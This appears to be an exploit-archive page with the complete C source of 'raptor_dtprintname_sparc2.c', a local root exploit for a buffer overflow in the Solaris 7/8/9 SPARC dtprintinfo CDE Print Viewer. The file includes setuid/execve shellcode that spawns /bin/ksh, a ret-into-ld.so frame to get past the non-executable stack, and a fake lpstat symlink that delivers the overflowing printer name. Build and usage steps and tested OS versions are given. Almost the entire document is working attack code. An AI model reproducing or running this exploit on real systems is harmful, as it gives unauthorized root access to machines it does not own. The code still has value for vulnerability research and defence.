Solaris 7/8/9 (SPARC) – ‘dtprintinfo’ Local Privilege Escalation (2)
/* * raptor_dtprintname_sparc2.c - dtprintinfo 0day, Solaris/SPARC * Copyright (c) 2004-2019 Marco Ivaldi <raptor@0xdeadbeef.info> * * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to * local root. Many thanks to Dave Aitel for discovering this vulnerability * and for his interesting research activities on Solaris/SPARC. * * "None of my dtprintinfo work is public, other than that 0day pack being * leaked to all hell and back. It should all basically still work. Let's * keep it that way, cool? :>" -- Dave Aitel * * This is the ret-into-ld.so version of raptor_dtprintname_sparc.c, able * to bypass the non-executable stack protection (noexec_user_stack=1 in * /etc/system). * * NOTE. If experiencing troubles with null-bytes inside the ld.so.1 memory * space, use sprintf() instead of strcpy() (tested on some Solaris 7 boxes). * * Usage: * $ gcc raptor_dtprintname_sparc2.c -o raptor_dtprintname_sparc2 -ldl -Wall * [on your xserver: disable the access control] * $ ./raptor_dtprintname_sparc2 192.168.1.1:0 * [...] * # id * uid=0(root) gid=10(staff) * # * * Tested on: * SunOS 5.7 Generic_106541-21 sun4u sparc SUNW,Ultra-1 * SunOS 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-5_10 * SunOS 5.9 Generic sun4u sparc SUNW,Ultra-5_10 * [SunOS 5.10 is also vulnerable, the exploit might require some tweaking] */ #include <dlfcn.h> #include <fcntl.h> #include <link.h> #include <procfs.h> #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <unistd.h> #include <sys/systeminfo.h> #define INFO1 "raptor_dtprintname_sparc2.c - dtprintinfo 0day, Solaris/SPARC" #define INFO2 "Copyright (c) 2004-2019 Marco Ivaldi <raptor@0xdeadbeef.info>" #define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program #define BUFSIZE 301 // size of the printer name #define FFSIZE 64 + 1 // size of the fake frame #define DUMMY 0xdeadbeef // dummy memory address /* voodoo macros */ #define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;} #define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;} char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */ /* double setuid() */ "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" /* execve() */ "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20" "\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14" "\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh"; /* globals */ char *env[256]; int env_pos = 0, env_len = 0; /* prototypes */ int add_env(char *string); void check_zero(int addr, char *pattern); int search_ldso(char *sym); int search_rwx_mem(void); void set_val(char *buf, int pos, int val); /* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], ff[FFSIZE], ret_var[16], fpt_var[16]; char platform[256], release[256], display[256]; int i, offset, ff_addr, sc_addr, ret_pos, fpt_pos; int plat_len, prog_len, rel; char *arg[2] = {"foo", NULL}; int arg_len = 4, arg_pos = 1; int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; int ret = search_ldso("strcpy"); /* or sprintf */ int rwx_mem = search_rwx_mem(); /* fake lpstat code */ if (!strcmp(argv[0], "lpstat")) { /* check command line */ if (argc != 2) exit(1); /* get ret and fake frame addresses from environment */ ret = (int)strtoul(getenv("RET"), (char **)NULL, 0); ff_addr = (int)strtoul(getenv("FPT"), (char **)NULL, 0); /* prepare the evil printer name */ memset(buf, 'A', sizeof(buf)); buf[sizeof(buf) - 1] = 0x0; /* fill with return and fake frame addresses */ for (i = 0; i < BUFSIZE; i += 4) { /* apparently, we don't need to bruteforce */ set_val(buf, i, ret - 4); set_val(buf, i += 4, ff_addr); } /* print the expected output and exit */ if(!strcmp(argv[1], "-v")) { fprintf(stderr, "lpstat called with -v\n"); printf("device for %s: /dev/null\n", buf); } else { fprintf(stderr, "lpstat called with -d\n"); printf("system default destination: %s\n", buf); } exit(0); } /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* read command line */ if (argc != 2) { fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); exit(1); } sprintf(display, "DISPLAY=%s", argv[1]); /* get some system information */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); rel = atoi(release + 2); /* prepare the fake frame */ bzero(ff, sizeof(ff)); /* * saved %l registers */ set_val(ff, i = 0, DUMMY); /* %l0 */ set_val(ff, i += 4, DUMMY); /* %l1 */ set_val(ff, i += 4, DUMMY); /* %l2 */ set_val(ff, i += 4, DUMMY); /* %l3 */ set_val(ff, i += 4, DUMMY); /* %l4 */ set_val(ff, i += 4, DUMMY); /* %l5 */ set_val(ff, i += 4, DUMMY); /* %l6 */ set_val(ff, i += 4, DUMMY); /* %l7 */ /* * saved %i registers */ set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to strcpy() */ set_val(ff, i += 4, 0x42424242); /* %i1: 2nd arg to strcpy() */ set_val(ff, i += 4, DUMMY); /* %i2 */ set_val(ff, i += 4, DUMMY); /* %i3 */ set_val(ff, i += 4, DUMMY); /* %i4 */ set_val(ff, i += 4, DUMMY); /* %i5 */ set_val(ff, i += 4, sb - 1000); /* %i6: frame pointer */ set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */ /* fill the envp, keeping padding */ sc_addr = add_env(ff); add_env(sc); ret_pos = env_pos; add_env("RET=0x41414141"); fpt_pos = env_pos; add_env("FPT=0x42424242"); add_env(display); add_env("PATH=.:/usr/bin"); add_env("HOME=/tmp"); add_env(NULL); /* calculate the offset to argv[0] (voodoo magic) */ plat_len = strlen(platform) + 1; prog_len = strlen(VULN) + 1; offset = arg_len + env_len + plat_len + prog_len; if (rel > 7) VOODOO64(offset, arg_pos, env_pos) else VOODOO32(offset, plat_len, prog_len) /* calculate the needed addresses */ ff_addr = sb - offset + arg_len; sc_addr += ff_addr; /* set fake frame's %i1 */ set_val(ff, 36, sc_addr); /* 2nd arg to strcpy() */ /* overwrite RET and FPT env vars with the right addresses */ sprintf(ret_var, "RET=0x%x", ret); env[ret_pos] = ret_var; sprintf(fpt_var, "FPT=0x%x", ff_addr); env[fpt_pos] = fpt_var; /* create a symlink for the fake lpstat */ unlink("lpstat"); symlink(argv[0], "lpstat"); /* print some output */ fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr); fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); /* run the vulnerable program */ execve(VULN, arg, env); perror("execve"); exit(0); } /* * add_env(): add a variable to envp and pad if needed */ int add_env(char *string) { int i; /* null termination */ if (!string) { env[env_pos] = NULL; return(env_len); } /* add the variable to envp */ env[env_pos] = string; env_len += strlen(string) + 1; env_pos++; /* pad the envp using zeroes */ if ((strlen(string) + 1) % 4) for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { env[env_pos] = string + strlen(string); env_len++; } return(env_len); } /* * check_zero(): check an address for the presence of a 0x00 */ void check_zero(int addr, char *pattern) { if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || !(addr & 0xff000000)) { fprintf(stderr, "Error: %s contains a 0x00!\n", pattern); exit(1); } } /* * search_ldso(): search for a symbol inside ld.so.1 */ int search_ldso(char *sym) { int addr; void *handle; Link_map *lm; /* open the executable object file */ if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { perror("dlopen"); exit(1); } /* get dynamic load information */ if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { perror("dlinfo"); exit(1); } /* search for the address of the symbol */ if ((addr = (int)dlsym(handle, sym)) == NULL) { fprintf(stderr, "sorry, function %s() not found\n", sym); exit(1); } /* close the executable object file */ dlclose(handle); check_zero(addr - 4, sym); return(addr); } /* * search_rwx_mem(): search for an RWX memory segment valid for all * programs (typically, /usr/lib/ld.so.1) using the proc filesystem */ int search_rwx_mem(void) { int fd; char tmp[16]; prmap_t map; int addr = 0, addr_old; /* open the proc filesystem */ sprintf(tmp,"/proc/%d/map", (int)getpid()); if ((fd = open(tmp, O_RDONLY)) < 0) { fprintf(stderr, "can't open %s\n", tmp); exit(1); } /* search for the last RWX memory segment before stack (last - 1) */ while (read(fd, &map, sizeof(map))) if (map.pr_vaddr) if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { addr_old = addr; addr = map.pr_vaddr; } close(fd); /* add 4 to the exact address NULL bytes */ if (!(addr_old & 0xff)) addr_old |= 0x04; if (!(addr_old & 0xff00)) addr_old |= 0x0400; return(addr_old); } /* * set_val(): copy a dword inside a buffer */ void set_val(char *buf, int pos, int val) { buf[pos] = (val & 0xff000000) >> 24; buf[pos + 1] = (val & 0x00ff0000) >> 16; buf[pos + 2] = (val & 0x0000ff00) >> 8; buf[pos + 3] = (val & 0x000000ff); } |